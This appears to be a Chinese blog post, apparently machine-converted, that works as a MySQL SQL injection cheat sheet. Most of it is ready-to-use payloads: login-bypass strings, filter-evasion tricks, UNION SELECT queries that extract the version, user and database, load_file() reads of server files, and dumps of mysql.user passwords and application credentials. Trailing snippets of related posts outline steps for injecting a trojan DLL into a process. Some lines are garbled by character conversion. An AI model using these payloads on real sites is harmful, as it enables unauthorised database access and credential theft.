Mysql 一般注入

2021-06-28 13:25:05 字數 4340 閱讀 2745

一、基礎知識

1.注釋符

#hash comment

/* c-style comment

-- - sql comment  --後必須跟空格

;%00 nullbyte

` backtick          ·使用在查詢最後

2.空格被過濾

使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

%0b = tab

3. 查詢注入點  真查詢有效(頁面正常返回) 假查詢無效(頁面返回錯誤)

字串型

'false

''true

"false

""true

\false

\\tru

')

數字型

and 1true

and 0 false

and truetrue

and falsefalse

1-falsereturns 1 if vulnerable

1-truereturns 0 if vulnerable

1*56 returns 56 if vulnerable

1*56 returns 1 if not vulnerable

負數和十六進製制也能判斷

登入

' or '1

' or 1 -- -

" or "" = "

" or 1 = 1 -- -

'='

like'

'=0--+

二、爆欄位

ordery by 數字 (根據返回正確錯誤猜測字段)

group by 數字 (根據返回正確錯誤猜測字段)

order by 是按字段排序

group by 是按字段分類

三、匹配 字段

and 1=1 union select 1,2,3,4,5 

四、爆欄位位置

and 1=2 union select 1,2,3,4,5

可以修改id=負數, id=空置 或修改後面邏輯關係 and 1=2  目的是不讓返回select結果 

union:聯合的意思,即把兩次或多次查詢結果合併起來。要求這兩個列數必須一致。

union all和union區別:union 會去除查詢結果的重複的資料,union all會顯示重複的資料。

由於列可能是特殊資料型別,可以使用null代替,所以推薦使用 union all。

mysql大於4.0的版本支援union (all) select聯合查詢

例:union all select null,null,null,null,null,null -- -

五、利用內建函式爆資訊

版本  version()

@@version

@@global.version

例 and 1=2 union all select 1,2,3,version()

當前使用者 user()

例 and 1=2 union all select 1,2,3,user()

現在連線資料庫 database()

例 and 1=2 union all select 1,2,3,database()

載入檔案路徑需要使用\\ 由於單引號可能被過濾推薦使用十六進製制

load_file('c:\\boot.ini')

load_file(0x633a5c5c626f6f742e696e)

例 and 1=2 union all select 1,2,3,load_file(0x633a5c5c626f6f742e696e)

檔案必須在伺服器上。

load_file()函式操作檔案的當前目錄是@@datadir 。

mysql使用者必須擁有對此檔案讀取的許可權。

魔術引號關閉。

檔案大小必須小於 max_allowed_packet。

@@max_allowed_packet的預設大小是1047552 位元組.

mysql 賬戶和密碼

user from mysql.user

password from mysql.user

例 and 1=2 union all select 1,2,3,password from mysql.user

mysql的data目錄

@@datadir 

mysql安裝目錄

@@basedir 

日誌檔案路徑

@@general_log_file 

資料庫埠

@@port 

後48位為伺服器mac

uuid() 

作業系統

@@global.version_compile_os 

六、查詢合併

使用concat() 合併

concat()函式可以多個結果合併乙個concat(user(),『|』,@@version,』|『,database()),其中 |  可以用0x7c表示

例 and 1=2 union all select 1,concat(user(),0x7c,@@version,0x7c,database()),3 -- -

concat_ws()函式也可以做到

七、檢視許可權

and 1=2 union all select  1,null,group_concat(distinct grantee,0x7c,privilege_type,0x7c,is_grantable) from information_schema.user_privileges  -- -

返回正確許可權很高

and (select count(*) from mysql.user)>0 -- -

八、讀取表名

讀取所有表名

select group_concat(schema_name) from information_schema.schemata

讀取當前庫表名

group_concat(table_name) from information_schema.tables where table_schema =database() 

九、讀取列名

select group_concat(column_name) from information_schema.columns where table_schema=0x庫十六進製制 and table_name=0x表的十六進製制

十、查詢指定值

select group_concat(列名1,0x7c,列名2) from 資料庫名.表名

問題:編碼不一致可以用時hex

unhex(hex(user()))

例 and 1=2 union all select 1,2, (select unhex(hex(group_concat(id,0x7c,username,0x7c,password))) from security.users) -- -

DLL注入程式的一般步驟

1 取得宿主程序 即要注入木馬的程序 的程序id dwremoteprocessid 2 取得dll的完全路徑,並將其轉換為寬字元模式pszlibfilename 3 利用windows api openprocess開啟宿主程序,應該開啟下列選項 a.process create thread 允...

MySql優化的一般步驟

mysql優化的一般步驟 1.通過show status 命令了解各種sql的執行效率 2.定位執行效率較低的sql語句 dql出現問題的概率較dml的大 mysql支援把慢查詢語句記錄到日誌檔案中。3.通過explain分析低效率的sql語句的執 況 4.常用的優化措施是新增索引。新增索引,我們不...

MySql的一般命令淺述

1 查詢當前正在使用的資料庫 select database 2 mysql使用步驟 show databases 顯示有哪些資料庫 use xx 使用某乙個資料庫 create table yy id int not null,name varchar 20 not null,age int nu...